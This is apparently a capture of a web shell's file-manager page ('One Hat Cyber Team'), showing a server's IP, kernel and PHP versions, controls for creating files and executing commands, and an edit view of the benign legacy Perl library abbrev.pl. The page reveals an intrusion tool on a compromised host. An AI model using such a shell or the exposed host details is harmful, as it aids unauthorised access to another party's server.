⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
perl5
/
Edit File: abbrev.pl
;# Usage: ;# %foo = (); ;# &abbrev(*foo,LIST); ;# ... ;# $long = $foo{$short}; # # This library is no longer being maintained, and is included for backward # compatibility with Perl 4 programs which may require it. # # In particular, this should not be used as an example of modern Perl # programming techniques. # # Suggested alternative: Text::Abbrev # package abbrev; sub main'abbrev { local(*domain) = @_; shift(@_); @cmp = @_; foreach $name (@_) { @extra = split(//,$name); $abbrev = shift(@extra); $len = 1; foreach $cmp (@cmp) { next if $cmp eq $name; while (@extra && substr($cmp,0,$len) eq $abbrev) { $abbrev .= shift(@extra); ++$len; } } $domain{$abbrev} = $name; while ($#extra >= 0) { $abbrev .= shift(@extra); $domain{$abbrev} = $name; } } } 1;
Simpan